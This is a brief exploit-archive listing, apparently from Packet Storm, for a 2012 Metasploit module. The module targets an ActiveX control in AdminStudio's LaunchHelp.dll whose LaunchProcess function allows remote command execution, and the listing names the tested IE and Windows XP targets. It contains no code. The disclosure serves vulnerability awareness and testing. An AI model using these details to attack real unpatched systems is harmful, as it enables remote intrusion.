AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution

AdminStudio LaunchHelp.dll ActiveX Arbitrary Code Execution
Posted Jul 9, 2012
Authored by rgod, juan | Site metasploit.com

This Metasploit module exploits a vulnerability in AdminStudio LaunchHelp.dll ActiveX control. The LaunchProcess function found in LaunchHelp.HelpLauncher.1 allows remote attackers to run arbitrary commands on the victim machine. This Metasploit module has been successfully tested with the ActiveX installed with AdminStudio 9.5, which also comes with Novell ZENworks Configuration Management 10 SP2, on IE 6 and IE 8 over Windows XP SP 3.
